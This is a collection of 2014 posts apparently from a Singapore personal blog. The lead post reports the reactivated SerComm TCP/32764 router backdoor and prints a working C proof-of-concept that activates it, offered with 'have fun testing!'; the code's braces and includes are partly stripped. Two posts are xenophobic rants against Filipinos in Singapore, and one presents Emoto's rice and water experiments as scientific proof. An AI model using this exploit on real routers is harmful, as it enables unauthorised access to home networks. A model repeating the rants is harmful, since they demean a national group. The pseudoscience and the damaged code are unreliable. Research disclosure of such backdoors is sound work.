Router Manufacturers (Linksys, Cisco, Diamond) Secretly Adding Backdoor In Their Firmwares again - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/21/router-manufacturers-linksys-cisco-diamond-secretly-adding-backdoor-in-their-firmwares-again/

Router Manufacturers (Linksys, Cisco, Diamond) Secretly Adding Backdoor In Their Firmwares again

Router-TCP-32764-Backdoor-Vulnerability-Secretly-added-to-Patched-Routers

Reported by The Hacker News (THN),  router backdoor TCP 32764 which was first discovered reverse engineer France Eloi Vanderbeken, was reactivated again in the release of their patched firmwares. Quoted from THN recent article below:

At the beginning of this year, we reported about the secret backdoor ‘TCP 32764’ discovered in several routers including, Linksys, Netgear, Cisco and Diamond that allowed an attacker to send commands to the vulnerable routers at TCP port 32764 from a command-line shell without being authenticated as the administrator.
The Reverse-engineer from France Eloi Vanderbeken, who discovered this backdoor has found that although the problem has been patched in the latest firmware release, but SerComm has added the same backdoor again in another way.
[slideshare id=33731609&doc=tcp32764backdooragain-140420103751-phpapp01]
Currently there is no patch available for newly discovered backdoor. If you want to check your router for this backdoor, you can download Proof-of-Concept (PoC) exploit released by the researcher from here or follow the below given steps manually:
  1. Use ‘binwalk -e’ to extract the file system
  2. Search for ‘ft_tool’ or grep -r ‘scfgmgr -f
  3. Use IDA to confirm.

The POC source code can also be copied below, have fun testing!

/***************************************
* PoC to reactivate Sercomm TCP/32674 backdoor
* See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
* Eloi Vanderbeken - Synacktiv
* 
* THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
* DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* 
* PoC based on Wilmer van der Gaast's code 
* http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c
***************************************/

#include 
#include 
#include 
#include 
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if_arp.h>
#include <arpa/inet.h>

#include <sys/types.h>
#include <sys/stat.h>
#include 
#include 

#define ETH_P_NFTP		0x8888

enum backdoor_command 
    PING_BACKDOOR = 0x200,
    SCFGMGR_LAUNCH,
    SET_IP
;

struct ether_header

    unsigned char ether_dhost[ETH_ALEN];
    unsigned char ether_shost[ETH_ALEN];
    unsigned short ether_type;
 eth;

struct raw_packet 
	struct ether_header header;
	uint16_t            type;
	uint16_t            sequence;
	uint16_t            offset;
	uint16_t            chunk;
	uint16_t            payload_len;
	uint8_t             payload[528];
;

int main(int argc, char *argv[])

	int sockfd, res, i, len;
	char src_mac[ETH_ALEN];
	struct ifreq iface;
	struct sockaddr_ll socket_address;
    struct raw_packet packet;

    memset(&packet, 0, sizeof(packet));

	if (argc < 2)
	
		fprintf(stderr, "usage : %s [IFNAME]\n", argv[0]);
		exit(1);
	

	sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (sockfd == -1) 
	
		if(geteuid() != 0) 
		
			fprintf(stderr, "You should probably run this program as root.\n");
		
		perror("socket");
		exit(1);
	
    seteuid(getuid());

	strncpy(iface.ifr_name, argv[1], IFNAMSIZ);
	res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
	if(res < 0)
	
		perror("ioctl");
		exit(1);
	
	memcpy(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);


	res = ioctl(sockfd, SIOCGIFINDEX, &iface);
	if(res < 0)
    
		perror("ioctl");
		exit(1);
	

    // set src mac
    memcpy(packet.header.ether_shost, src_mac, ETH_ALEN);
    // broadcast
    memset(packet.header.ether_dhost, 0xFF, ETH_ALEN);
    // MD5("DGN1000")
    memcpy(packet.payload, "\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E", 0x10);
    packet.payload_len = htole16(0x10);
    // ethernet packet type = 0x8888
    packet.header.ether_type = htons(ETH_P_NFTP);
    // launch TCP/32764 backdoor
    packet.type = htole16(SCFGMGR_LAUNCH);

    socket_address.sll_family   = PF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_NFTP);
    socket_address.sll_ifindex  = iface.ifr_ifindex;
    socket_address.sll_hatype   = ARPHRD_ETHER;
    socket_address.sll_pkttype  = PACKET_OTHERHOST;
    // broadcast
    socket_address.sll_halen = ETH_ALEN;
    memset(socket_address.sll_addr, 0xFF, ETH_ALEN);

    res = sendto(sockfd, &packet, 0x10 + 24, 0, (struct sockaddr *)&socket_address, sizeof(socket_address));
    if (res == -1)
    
        perror("sendto");
        exit(1);
    

    do 
        memset(&packet, 0, sizeof(packet));
        res = recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL);
        if (res == -1) 
        
            perror("recvfrom");
            exit(1);
        
     while (ntohs(packet.header.ether_type) != ETH_P_NFTP);

    if (res < sizeof(packet) - sizeof(packet.payload))
    
        fprintf(stderr, "packet is too short: %d bytes\n", res);
        exit(1);
    

    len = be16toh(packet.payload_len); // SerComm has a real problem with endianness
    printf("received packet: %d bytes (payload len = %d) from ", res, len);
    for (i = 0; i < ETH_ALEN; i++)
        printf("%02X%c", packet.header.ether_shost[i], i == ETH_ALEN-1 ? '\n' : ':');

    for (i = 0; (i < len) && (i < sizeof(packet.payload)); i++)
    
        printf("%02X ", packet.payload[i]);
        if ((i+1) % 16 == 0)
            printf("\n");
    
    printf("\n");
	return 0;

 

Source Article @ http://blog.cripperz.sg/2014/04/21/router-manufacturers-linksys-cisco-diamond-secretly-adding-backdoor-in-their-firmwares-again/

Philippines Named as One of the Most Racist Countries in the World - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/20/philippines-named-as-one-of-the-most-racist-countries-in-the-world/

Philippines Named as One of the Most Racist Countries in the World

article-2325502-19D0189E000005DC-313_634x274

This was a recent study by World Values, Sweden based economist that was published in The Washington Post where some readers have disputed the accuracy and relevance of the result shown in the map.

Interesting enough, WhenInManila.com, a community blog based in Manila, ran an article about the topic. Visit their site to view some of the responses from the Filipino community, some acknowledging how judgemental they can be to other races while some dispute the fact that they are not racist.

phracist02 phracist01

I just truly find them in identity crisis, much like what we had here in Singapore where people had diversed split views about being xenophobic, FTs and racial / religious harmony – though we a much smaller nation, having lived in very close promixity, having to deal with it and having a better result than our counterparts in the region.

Maybe that is why they are trying so hard to promote “Philippines Independence Day” in Singapore, posting iconic landscape and structures in their posters and to choose a place where it is a tourist spot, iconic spot for most Singaporeans – Orchard Road. Though, as i stated in my previous article, it is provocative to celebrate it openly. No one would have mind if they have been much more discreet celebrating it in a park or their embassy. Showing off their “pinoy pride” in foreign soil is not helping them build a better image to successfully integrate with the locals.

Seriously, i still find most of my pinoy friends are accomodating, friendly by nature though only formally. However, the attempt to show off their “pinoy pride” in public have really brought the whole community down – total epic fail for integration. Seriously, my personal opinion of integration is -> you know our culture, our food, our history, our people then in return we might, just might welcome yours, after all which host nation wants to lose their national identity against foreign influx right? Bottomline, you are in our homeland. We are the breeds from the past generations that lived and died in this small island, our pride matters more than yours. It is our pride not to see your flag being raise high and celebrated openly in the public in the name of their nation’s independence day.

And, NO, i am not racist :).

cheers!

Source Article @ http://blog.cripperz.sg/2014/04/20/philippines-named-as-one-of-the-most-racist-countries-in-the-world/

Scientific Proof Thoughts & Intentions Can Alter The Physical World Around Us - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/20/scientific-proof-thoughts-intentions-can-alter-the-physical-world-around-us/

Scientific Proof Thoughts & Intentions Can Alter The Physical World Around Us

rice exp

Dr. Masaru Emoto, a researcher and alternative healer from Japan has given the world a good deal of evidence of the magic of positive thinking. He became famous when his water molecule experiments featured in the 2004 film, What The Bleep Do We Know? His experiments demonstrate that human thoughts and intentions can alter physical reality, such as the molecular structure of water. Given that humans are comprised of at least 60% water, his discovery has far reaching implications… can anyone really afford to have negative thoughts or intentions?

The rice experiment is another famous Emoto demonstration of the power of negative thinking (and conversely, the power of positive thinking.) Dr Emoto placed portions of cooked rice into two containers. On one container he wrote “thank you” and on the other “you fool”. He then instructed school children to say the labels on the jars out loud everyday when they passed them by. After 30 days, the rice in the container with positive thoughts had barely changed, while the other was moldy and rotten.

Source Article @ http://blog.cripperz.sg/2014/04/20/scientific-proof-thoughts-intentions-can-alter-the-physical-world-around-us/

No To Philippines Independence Day At Ngee Ann City, Yes If Its Held In Public Parks Instead - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/17/no-to-philippines-independence-day-at-ngee-ann-city-yes-if-its-held-in-public-parks-instead/

No To Philippines Independence Day At Ngee Ann City, Yes If Its Held In Public Parks Instead


Video Description: This is a participation of the Tau Gamma Phi Northeast Triskelions at the 2010 Philippine Independence Day Celebration held in New York City, New York.

As a Singaporean, i first would like to say that i am not comfortable seeing any other national flags being rallied, march upon openly in the public showing your nation’s pride of your national history on our soil – THIS IS SINGAPORE. I believe many other Singaporeans like myself shares the same opinion.

Orchard road is a very iconic place and it is close to most Singaporean at heart. Most of us grew up hanging out at Orchard Road on weekends where we mixed and meet new friends from different races. To share some of the golden age OF MY TIME of metal heads, punks, ska, skin heads who were often seen around that area back in the 1990s where it is more of a culture based than of a nation’s pride like your agenda of celebrating “Philippines Independence Day“. I seriously do not give a flying fuck about it, don’t get me wrong, celebrate it if you want, just in less crowded area which would not cause inconvenience to people who would like to enjoy their weekends shopping or watch street performers do their thing. Go do it in the park or something for that matter. There are plenty of parks in Singapore where you can hold your event or should i even suggest that you hold it at 20 Nassim Road where the Philippiness Embassy is. Oh do need i to highlight that your “Philippines Independence Day” is actually on the 12 June and not on a 8 June as posted on your PIDCS FB? i didn’t know that you can roll back historical dates as when you like if it such an importance and pride of every Filipino having to celebrate it here in Singapore.

If the intention of your event is purely patriotic and not trying to gain monetary benefit from it, i believe the suggestions to hold it in parks or your embassy would be a very reasonable alternative. I have nothing against Filipinos and i do have plenty of Filipino friends whom i have known for years however your insensitive intention to hold it in a crowded, tourist place like Orchard Road is seriously provoking our national pride as Singaporeans. You played no part in our history independence (WWII) and seriously you can see many are upset with it. As much as i would like to believe that you are being patriotic by organizing such event in Singapore, your poster below definitely saying otherwise:

1016955_714301425259656_4300007759604261926_n
Picture Source Here

I mean seriously dude, you are even selling your Independence Day for monetary benefits, such pride you have. I really hope that your permit to hold the event at Orchard wont be approved by the Singapore authorities.

Singaporeans can be a little xenophobic but sometimes for the right reasons. I know i am not all against the foreign influx, in fact, many times i mentioned to my friends how i glad Singapore had brought in “The Real Foreign Talents” to shaken up equal opportunity and balance things up right again. However your event is just not at the right place, time nor it has genuine patriotic intentions. So fuck off!

Source Article @ http://blog.cripperz.sg/2014/04/17/no-to-philippines-independence-day-at-ngee-ann-city-yes-if-its-held-in-public-parks-instead/

Hidden / Secret Skype Emoticons 2014 - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/15/hidden-secret-skype-emoticons-2014/

Hidden / Secret Skype Emoticons 2014

Hidden Skype smileys

Are you ready to make your chat a bit more fun with the hidden Skype smileys?

NEW NEW NEW NEW NEW NEW NEW !!!!!!

Skype has released a new version where the have removed some secret Skype emoticons. Instead, they have added several new Skype smileys as you can see in this  overview:

(blackwidow)

(blackwidow)

(bike)

(bike)

(bucky)

(bucky)

captain)

captain)

(cat)

(cat)

(dog)

(dog)

(idea)

(idea)

(nickfury)

(nickfury)

(sheep)

(sheep)

(shielddeflect)

(shielddeflect)

(talktothehand)

(talktothehand)

The hidden Skype smileys is representing with a slightly more adult theme like smoking, swear, drinking etc.  in contrast to the standard Skype smileys. Furthermore all the hidden Skype smileys are animated - it means that the smiley makes a movement.

The special with the hidden Skype smileys is that you can’t insert a hidden smiley in your chat using the icons above the box you type text in, because the hidden Skype smileys are not added to the list.  But don’t worry! skypesmileyscodes.com will help you!

The hidden Skype smileys are used in the same way as the standard smileys. Just add a hidden smiley in your chat by typing the smiley code or copy/past the smiley code and then you will see it in action. You can see all the hidden Skype smileys in the charts below.

The smiley code for the hidden Skype smiley icon “brokenheart”, the first icon on the image list, is (brokenheart) or (u) or (U).  Just type (brokenheart) and the icon will appear in your text.

brokenheart - hidden skype smileys - skypesmileyscodes.com= (brokenheart) or (u) or (U)

*Please note that it you don’t have the latest version of Skype installed they maybe don’t work properly.

The hidden Skype smileys codes is listet in the chart below.

(brokenheart) (u) (U)

(bug)

(call) (t) (T)

(drunk)

(headbang) (banghead)

(mail) (e) (E) (m)

(mooning)

(movie) (film) (~)

(oliver)

(phone) (ph) (mp)

(poolparty) (hrv)

(punch)

(rock)

(skype) (ss)

(smoking) (smoke) (ci)

(soccer) (so) (football)

(swear)

(talk)

(time) (o) (O) (clock)

(toivo)

(wfh)

(zilmer)

For the curious who wondering over some of the secret Skype smileys and their meaning, here is a brief explanation.

priidu - hidden skype smileys - skypesmileyscodes.com= Priidu Zilmer, was Skype’s Visual Design Team leader.

toivo - hidden skype smileys  - skypesmileyscodes.com=Toivo Annus, was a head of engineering at Skype.

working from home - hidden skype smileys - skypesmileyscodes.com= working from home

Secret Skype Smileys

Did you know that there exists two very secret Skype smileys?

Use the secret Skype smileys to make your personal chat a bit more fun and entertaining. To the left, in the sidebar you can find the two very secret Skype smileys.

You are more than welcome to post a comment if you have any questions. All comments will be answered as soon as possible.

Enjoy, and if you know of any other hidden emoticons that we’ve missed, please share them with us in the comments below!

Icon Name What To Type
  Facepalm (facepalm)
  Fingers crossed (fingerscrossed)
Tumbleweed (tumbleweed)
Working from home (wfh)
Waiting (waiting)
Lalala! (lalala)
High five! (highfive)
WTF?!  (wtf)
Mooning (mooning)
The finger (finger)
   F.U.B.A.R. (fubar)
  Pool party  (poolparty)
  Talking (talk)
  Sexy legs  (hollest)
Headbang (headbang) (banghead)
Soccer (soccer)
Drunk  (drunk)
Toivo (toivo)
Rock (rock)
Zilmer (zilmer)
Punch (punch)
Call (call)
Oliver (oliver)
Bug (bug)
Phone  (ph) (mp)
 Broken heart (u) (U)
 Film  (film) (movie) (~)
  Email / Mail (e) (m)
Skype (skype) (ss)
  Clock (clock) (time) (o)
  Smoke  (smoke) (smoking)
  Swear  (swear)
TMI (tmi)

Source Article @ http://blog.cripperz.sg/2014/04/15/hidden-secret-skype-emoticons-2014/

Facebook Marketeers, You Been Warned - Facebook New Feed Punishes Pages That Ask For Likes or Share - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/04/11/facebook-marketeers-you-been-warned-facebook-new-feed-punishes-pages-that-ask-for-likes-or-share/

Facebook Marketeers, You Been Warned - Facebook New Feed Punishes Pages That Ask For Likes or Share

You’re not clever enough to fool Facebook. Asking users to “Like this post!”, sharing the same link or photo over and over, or bait-and-switching people with links to ad-filled sites will now get your Page’s reach in News Feed destroyed, the company said today. Share unique, interesting content and you’ll be fine.

Last week I wrote a deep guide to why Facebook’s Page reach is naturally declining and how News Feed works. The tl;dr is that there are more and more Pages and friends competing for the finite amount of time people spend reading the feed. Increasing competition plus limited attention equals decreasing reach.

The way to keep your own reach up is to share posts that are widely Liked, commented on, shared, and clicked. Those signals tell Facebook’s News Feed algorithm that your posts are worth showing to more people. Here’s a simplified equation for how the feed picks what to show. It features the top five factors Facebook looks at, but there are a hundred thousand others.

Facebook News Feed EdgeRank Algorithm

Today’s announcement, part of Facebook’s push to increase transparency about how News Feed works, lays out factors that will get your Page quarantined. Many of these have likely been in play for a while, and Facebook started punishing usage of image memes last year, but now these transgressions could with heftier penalties. Here are the rules:

  • Don’t explicitly ask users to Like, comment on, or share your posts, either in text or photos. Facebook will detect this and reduce your reach
  • Don’t share the same content repeatedly. Yes, it might be important to you, but your fans don’t want to see it in their feeds multiple times. If you need to share the same link, do it with a different description or photo each time.
  • Don’t say a link leads to one thing when it really goes somewhere else. AKA don’t say “check out our photo gallery” and instead link them to an ecommerce purchase page or site with nothing but ads. Facebook will likely see that users start browsing their feed again a half-second after clicking your link because what was on the other side was a scam, and beat you up for it.

Facebook cares about Pages and businesses, but it cares more about people enjoying the News Feed for years to come. Make the feed worse and you won’t show up there any more.

Source: Techcrunch

Source Article @ http://blog.cripperz.sg/2014/04/11/facebook-marketeers-you-been-warned-facebook-new-feed-punishes-pages-that-ask-for-likes-or-share/

Anti-Tech Protesters Are Telling Kevin Rose’s Neighbors That He’s A “Parasite”

Anti-Tech Protesters Are Telling Kevin Rose’s Neighbors That He’s A “Parasite”

Featured Image -- 580

Originally posted on TechCrunch:

Google Ventures partner Kevin Rose says that his San Francisco home was visited by protesters today, who held up a banner calling him a “parasite” and distributed leaflets with the same message.

What did he do to deserve this? Well, he invested in startups.

Rose posted a photo on Instagramof what he said was a flyer distributed to his neighbors. It says, in…

View On WordPress

Truth Exposed: The Dirty CPF-HDB Scheme To Trick Singaporeans

Truth Exposed: The Dirty CPF-HDB Scheme To Trick Singaporeans

Originally posted on The Heart Truths:

By Singapore Singaporeans and Roy Ngerng

(Please note that this is a two-page article.)

Page 1, 2

There is something very insidious about the CPF – something that they have never told you. Today, let’s uncover the truth about…

View On WordPress

30 Things to Stop Doing to Yourself. #10 Is An Absolute Must. - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/25/30-things-to-stop-doing-to-yourself-10-is-an-absolute-must/

30 Things to Stop Doing to Yourself. #10 Is An Absolute Must.

Marc and Angel, two passionate writers, life-hackers and “admirers of the human spirit,” have come up with an amazing list of 30 things to stop doing to yourself. If you like their list, make sure you check out their site and sign up to their amazing newsletter.

#1. Stop spending time with the wrong people. – Life is too short to spend time with people who suck the happiness out of you.  If someone wants you in their life, they’ll make room for you.  You shouldn’t have to fight for a spot.  Never, ever insist yourself to someone who continuously overlooks your worth.  And remember, it’s not the people that stand by your side when you’re at your best, but the ones who stand beside you when you’re at your worst that are your true friends.

pongboy

pongboy

#2. Stop running from your problems. – Face them head on.  No, it won’t be easy.  There is no person in the world capable of flawlessly handling every punch thrown at them.  We aren’t supposed to be able to instantly solve problems.  That’s not how we’re made.  In fact, we’re made to get upset, sad, hurt, stumble and fall.  Because that’s the whole purpose of living – to face problems, learn, adapt, and solve them over the course of time.  This is what ultimately molds us into the person we become.

gvFK22m

#3. Stop lying to yourself. – You can lie to anyone else in the world, but you can’t lie to yourself.  Our lives improve only when we take chances, and the first and most difficult chance we can take is to be honest with ourselves.

aberrantbeauty.tumblr.com

aberrantbeauty.tumblr.com

#4. Stop putting your own needs on the back burner. – The most painful thing is losing yourself in the process of loving someone too much, and forgetting that you are special too.  Yes, help others; but help yourself too.  If there was ever a moment to follow your passion and do something that matters to you, that moment is now.

pinterest

pinterest

#5. Stop trying to be someone you’re not. – One of the greatest challenges in life is being yourself in a world that’s trying to make you like everyone else.  Someone will always be prettier, someone will always be smarter, someone will always be younger, but they will never be you.  Don’t change so people will like you.  Be yourself and the right people will love the real you.

dzzFJz1

#6. Stop trying to hold onto the past. – You can’t start the next chapter of your life if you keep re-reading your last one.

Max Rossi / Reuters

Max Rossi / Reuters

#7. Stop being scared to make a mistake. – Doing something and getting it wrong is at least ten times more productive than doing nothing.  Every success has a trail of failures behind it, and every failure is leading towards success.  You end up regretting the things you did NOT do far more than the things you did.

funny_dog_make_a_mess_1014

#8. Stop berating yourself for old mistakes. – We may love the wrong person and cry about the wrong things, but no matter how things go wrong, one thing is for sure, mistakes help us find the person and things that are right for us.  We all make mistakes, have struggles, and even regret things in our past.  But you are not your mistakes, you are not your struggles, and you are here NOW with the power to shape your day and your future.  Every single thing that has ever happened in your life is preparing you for a moment that is yet to come.

maxresdefault

#9. Stop trying to buy happiness. – Many of the things we desire are expensive.  But the truth is, the things that really satisfy us are totally free – love, laughter and working on our passions.

402f7d9f0b7641d517b28962e3218719

#10. Stop exclusively looking to others for happiness. – If you’re not happy with who you are on the inside, you won’t be happy in a long-term relationship with anyone else either.  You have to create stability in your own life first before you can share it with someone else.

Andy Hutchinson

Andy Hutchinson

#11. Stop being idle. – Don’t think too much or you’ll create a problem that wasn’t even there in the first place.  Evaluate situations and take decisive action.  You cannot change what you refuse to confront.  Making progress involves risk.  Period!  You can’t make it to second base with your foot on first.

betterphoto.com

betterphoto.com

#12. Stop thinking you’re not ready. – Nobody ever feels 100% ready when an opportunity arises.  Because most great opportunities in life force us to grow beyond our comfort zones, which means we won’t feel totally comfortable at first.

cajamediterraneo

cajamediterraneo

#13. Stop getting involved in relationships for the wrong reasons. – Relationships must be chosen wisely.  It’s better to be alone than to be in bad company.  There’s no need to rush.  If something is meant to be, it will happen – in the right time, with the right person, and for the best reason. Fall in love when you’re ready, not when you’re lonely.

budi 'ccline'

budi ‘ccline’

#14. Stop rejecting new relationships just because old ones didn’t work. – In life you’ll realize that there is a purpose for everyone you meet.  Some will test you, some will use you and some will teach you.  But most importantly, some will bring out the best in you.

7-inspiring-photograph-love

#15. Stop trying to compete against everyone else. – Don’t worry about what others are doing better than you.  Concentrate on beating your own records every day.  Success is a battle between YOU and YOURSELF only.

claudio campa

claudio campa

#16. Stop being jealous of others. – Jealousy is the art of counting someone else’s blessings instead of your own.  Ask yourself this:  “What’s something I have that everyone wants?”

Stuface

Stuface

#17. Stop complaining and feeling sorry for yourself. – Life’s curveballs are thrown for a reason – to shift your path in a direction that is meant for you.  You may not see or understand everything the moment it happens, and it may be tough.  But reflect back on those negative curveballs thrown at you in the past.  You’ll often see that eventually they led you to a better place, person, state of mind, or situation.  So smile!  Let everyone know that today you are a lot stronger than you were yesterday, and you will be.

pinterest.com

pinterest.com

#18. Stop holding grudges. – Don’t live your life with hate in your heart.  You will end up hurting yourself more than the people you hate.  Forgiveness is not saying, “What you did to me is okay.”  It is saying, “I’m not going to let what you did to me ruin my happiness forever.”  Forgiveness is the answer… let go, find peace, liberate yourself!  And remember, forgiveness is not just for other people, it’s for you too.  If you must, forgive yourself, move on and try to do better next time.

Happy_dog_is_happy_Img01

#19. Stop letting others bring you down to their level. – Refuse to lower your standards to accommodate those who refuse to raise theirs.

76xv4wd

#20. Stop wasting time explaining yourself to others. – Your friends don’t need it and your enemies won’t believe it anyway.  Just do what you know in your heart is right.

shibazo

shibazo

#21. Stop doing the same things over and over without taking a break. – The time to take a deep breath is when you don’t have time for it.  If you keep doing what you’re doing, you’ll keep getting what you’re getting.  Sometimes you need to distance yourself to see things clearly.

Milan Dimitrijevic

Milan Dimitrijevic

#22. Stop overlooking the beauty of small moments. – Enjoy the little things, because one day you may look back and discover they were the big things.  The best portion of your life will be the small, nameless moments you spend smiling with someone who matters to you.

Mike Killian

Mike Killian

#23. Stop trying to make things perfect. – The real world doesn’t reward perfectionists, it rewards people who get things done.

10-inspiring-photograph

#24. Stop following the path of least resistance. – Life is not easy, especially when you plan on achieving something worthwhile.  Don’t take the easy way out.  Do something extraordinary.

ba2ec232f32be8f724cc13e9921edc03

#25. Stop acting like everything is fine if it isn’t. – It’s okay to fall apart for a little while.  You don’t always have to pretend to be strong, and there is no need to constantly prove that everything is going well.  You shouldn’t be concerned with what other people are thinking either – cry if you need to – it’s healthy to shed your tears.  The sooner you do, the sooner you will be able to smile again.

Thomas P. Peschak

Thomas P. Peschak

#26. Stop blaming others for your troubles. – The extent to which you can achieve your dreams depends on the extent to which you take responsibility for your life.  When you blame others for what you’re going through, you deny responsibility – you give others power over that part of your life.

sergei gladyshev

sergei gladyshev

#27. Stop trying to be everything to everyone. – Doing so is impossible, and trying will only burn you out.  But making one person smile CAN change the world.  Maybe not the whole world, but their world.  So narrow your focus.

zephurr

zephurr

#28. Stop worrying so much. – Worry will not strip tomorrow of its burdens, it will strip today of its joy.  One way to check if something is worth mulling over is to ask yourself this question: “Will this matter in one year’s time?  Three years?  Five years?”  If not, then it’s not worth worrying about.

Chris A

Chris A

#29. Stop focusing on what you don’t want to happen. – Focus on what you do want to happen.  Positive thinking is at the forefront of every great success story.  If you awake every morning with the thought that something wonderful will happen in your life today, and you pay close attention, you’ll often find that you’re right.

5cd1254e9ffb999a13c9ff6b478a0544

#30. Stop being ungrateful. – No matter how good or bad you have it, wake up each day thankful for your life.  Someone somewhere else is desperately fighting for theirs.  Instead of thinking about what you’re missing, try thinking about what you have that everyone else is missing.

33f180304110b9841cdbd4898d891297

This is such a beautiful list, and we all are guilty of some of these. The best thing to do is just remember each day to appreciate and reflect a bit, even if it’s only a few minutes. Share this amazing list by clicking below.

Source Article @ http://blog.cripperz.sg/2014/03/25/30-things-to-stop-doing-to-yourself-10-is-an-absolute-must/

1 note 

What Facebook Is Doing to Your Brain Is Kind of Shocking. - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/24/what-facebook-is-doing-to-your-brain-is-kind-of-shocking/

What Facebook Is Doing to Your Brain Is Kind of Shocking.

In a world where we collect friends like stamps, there’s actually a connection between using social media and being lonely. I was shocked at 0:40. My jaw dropped at 2:20. And — yup — my mind was blown at 3:40.

Come to think again, how many of those hot babes on Facebook with that many “likes” are still single or barely able to keep relationships – now i get the connection :P

Source Article @ http://blog.cripperz.sg/2014/03/24/what-facebook-is-doing-to-your-brain-is-kind-of-shocking/

Fun Infographic - If Google, Facebook And Microsoft were countries, this what it looks like on a map - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/23/fun-infographic-if-google-facebook-and-microsoft-were-countries-this-what-it-looks-like-on-a-map/

Fun Infographic - If Google, Facebook And Microsoft were countries, this what it looks like on a map

map_of_the_internet_2_0__by_jaysimons-d781bst

From graphic designer Martin Vargic comes the most detailed map of the Internet known to man. This fascinating, ultra-high-resolution fictional map represents the online world and various technology companies with land masses scaled using actual traffic data from Alexa.

Amazingly, the map was drawn free hand, directly into Photoshop.

Apart from the full map of the internet, the artwork also includes 4 minimaps showcasing NSA surveillance, most used social networks, most used internet browser, and worldwide internet penetration, list of Alexa Top 500 websites, quick timeline of the Internet History, top software companies and much more!

Source Article @ http://blog.cripperz.sg/2014/03/23/fun-infographic-if-google-facebook-and-microsoft-were-countries-this-what-it-looks-like-on-a-map/

Google Public DNS 8.8.8.8/32 hijacked for 22 minutes - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/21/google-public-dns-8-8-8-832-hijacked-for-22-minutes/

Google Public DNS 8.8.8.8/32 hijacked for 22 minutes

Sunday, March 16, 2014 by

 

Google Public DNS Servers Traffic Hijacked

The Internet is becoming a dangerous place day-by-day and especially for those innocent web users who rely on 3rd party services. The latest bad news is that the World’s largest and most widely used Google’s free public DNS (Domain name system) resolvers raised security red flags yesterday.

DNS is the master address list for the Internet, which translates IP addresses into human readable form and vice versa. According to Internet monitoring firm BGPmon, Google’s DNS server 8.8.8.8/32 was hijacked yesterday for 22 minutes.
The Google’s DNS server handles around 150 billion queries a day and during the 22 minutes of hijacking, millions of Internet users, including Financial institutions, Governments were redirected to BT’s (British multinational telecommunications services company) Latin America division in Venezuela and Brazil.
bgpmon

It is suspected that Hackers exploited a well-known vulnerability in the so-called Border Gateway Protocol (BGP), which is used to exchange data between large service providers, and hijacking could allow the attackers to simply re-route the traffic to a router they controlled.

Google Public DNS Servers Traffic HijackedBGP attack is the man-in-the-middle attack at large scale and harder to detect, as the traffic still reaches its legitimate destination and which was first demonstrated in 2008 by two security researchers - Tony Kapela and Alex Pilosov.
It’s not the first time when Google Public DNS service has been hijacked. In 2010, DNS server traffic was hijacked and redirected to Romania and Austria.
Source: THN

Source Article @ http://blog.cripperz.sg/2014/03/21/google-public-dns-8-8-8-832-hijacked-for-22-minutes/

Probably Something Singapore Can Learn From - Why Japan Trains Are Very Punctual - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/21/probably-something-singapore-can-learn-from-why-japan-trains-are-very-punctual/

Probably Something Singapore Can Learn From - Why Japan Trains Are Very Punctual

This is a documentary by Discovery Channel on Japan metro network and how it is being operated as well as maintained. Very interesting. Probably Singapore operators might want get some tips on from.

syfg4edifq5ogvqe7u0r

Source Article @ http://blog.cripperz.sg/2014/03/21/probably-something-singapore-can-learn-from-why-japan-trains-are-very-punctual/

Seattle City Council Limits The Number Of Uber / Lyft / Sidecar on the roads - Will Singapore Govt Follow Suit? - BLog.CripperZ.SG

New Post has been published on http://blog.cripperz.sg/2014/03/19/seattle-city-council-limits-the-number-of-uber-lyft-sidecar-on-the-roads-will-singapore-govt-follow-suit/

Seattle City Council Limits The Number Of Uber / Lyft / Sidecar on the roads - Will Singapore Govt Follow Suit?

Not a good news for Uber, Lyft and Sidecar in Seattle U.S as the city council imposed limits of number of cars to 150 on the road providing ride-sharing services at any given point of time. Wonder if Singapore would follow next? Knowing how much the Singapore government took interest / invested to stabilize the taxi supplies and industry with its own “sister of sisters of companies” which are generally owned by Temasek Holdings (owned by the Government of Singapore) – will Uber in Singapore be free from such regulations for much longer?

Not to mention and probably little known, Uber was being regulated and was even banned to be used in Shanghai during the peak hours.

Article below is from Techcrunch:

In the biggest blow yet to ride sharing in the U.S., the Seattle City Council voted today to limit the number of drivers available on Uber, Lyft, SideCar, and other on-demand transportation services available in the city.

